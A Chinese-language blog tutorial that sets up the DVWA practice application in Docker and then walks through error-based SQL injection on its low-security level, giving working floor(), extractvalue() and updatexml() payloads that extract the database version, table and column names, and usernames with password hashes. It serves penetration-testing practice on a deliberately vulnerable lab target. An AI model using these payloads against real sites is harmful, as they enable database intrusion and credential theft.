2019-9-9:渗透测试,docker下载dvwa,使用报错型sql注入dvwa

docker下载dvwa镜像,报错型注入dvwa,low级

一,安装并配置docker

1,更新源,apt-get update && apt-get upgrade && apt-get clean

 

2,安装docker,apt-get install docker.io

 

3, 配置docker加速器,vim /etc/docker/daemon.json

{
"registry-mirrors": [
"https://dockerhub.azk8s.cn",
"https://reg-mirror.qiniu.com"
]
}

 

二、使用docker下载安装运行dvwa

1,搜索dvwa镜像,docker search dvwa

 

2,安装dvwa镜像,docker pull citizenstig/dvwa

 

3,查看确定下载完成,输入命令docker images,确定有dvwa

 

4.运行dvwa,docker run -d –rm -p 8008:80 –name dvwa d9c7999da701

5,确定dvwa容器使用的端口被打开,netstat -ntulp |grep 8008

 

6,靶机访问127.0.0.1:8008确定可以访问

 

7,点击Create/Reset Database创建好数据库,点击Login

 

8,用户名admin,密码password,访问正常,docker安装dvwa完成

 

三、使用报错型sql注入dvwa,low级别

1,访问靶机ip 192.168.190.134,登录dvwa

 

2,设置级别为low

 

3,选择SQL Injection,进入到sql注入页面,使用floor()报错函数进行注入,获取数据库版本信息

1' and 1=1 union select 1,(select 1 from (select count(*),concat('~',(select version()),'~', floor(rand(0)*2)) as a from information_schema.tables group by a)b)#

 

4,获取数据库表名

1' or 1=2 union select 1,(select 1 from (select count(*),concat('~',(select database()),'~', floor(rand(0)*2)) as a from information_schema.tables group by a)b)#

 

5,获取数据库的表,

1' or 1=2 union select 1,(select 1 from (select count(*),concat('~',(select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),'~',floor(rand(0)*2)) as a from information_schema.tables group by a)b)#

 

 

6,获取表中列名

1' or 1=2 union select 1,(select 1 from (select count(*),concat('~',(select column_name from information_schema.columns where table_name='users' limit 0,1),'~',floor(rand(0)*2)) as a from information_schema.tables group by a)b)#

 

 

其他字段修改limit值一个个就可以爆出来就不例举了

7,根据之前获取的列名,发现敏感列user和password获取字段值

1' or 1=2 union select 1, (select 1 from (select count(*),concat('~',(select concat(user,0x7e,password) from users limit 0,1),'~',floor(rand(0)*2)) as a from information_schema.tables group by a)b)#

修改Limit值直到获取不到,就可以得到表中所有用户账户密码信息了

使用extractvalue报错函数

extractvalue():从目标XML中返回包含所查询值的字符串。

语法:extractvalue(目标xml文档,xml路径)

第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。

使用concat拼接,连接字符串为”~”,因为”~”不是路径符号,查询语句会报错,会将我们所需的信息返回出来

1'and extractvalue(1,concat(0x7e,(select concat(user,0x7e,password) from users limit 0,1),0x7e))#

 

updatexml()函数报错注入,类似extractvalue

语法:updatexml(xml_target,xpath_expr,new_xml)

updatexml()函数是MySQL对xml文档数据进行查询和修改的xpath函数。
简单来说就是,用new_xml把xml_target中包含xpath_expr的部分节点(包括xml_target)替换掉。

如:updatexml(<a><b><c>asd</c></b><e></e></a>, '//b', <f>abc</f>),
运行结果:<a><f>abc</f><e></e></a>,
其中'//b'的斜杠表示不管b节点在哪一层都替换掉,而'/b'则是指在根目录下替换,

注入原理

updatexml()的xml_target和new_xml参数随便设定一个数,这里主要是利用报错返回信息。利用updatexml()获取数据的固定payload是:

or updatexml(1,concat('#',(select * from (select ...) a)),0)

1'or updatexml(1,concat('#',(database())),0)#

 

1'or updatexml(1,concat(0x7e,(select group_concat(user,0x7e,password) from users limit 0,1)),0)#

 

 完

原文地址:https://www.cnblogs.com/sym945/p/11721956.html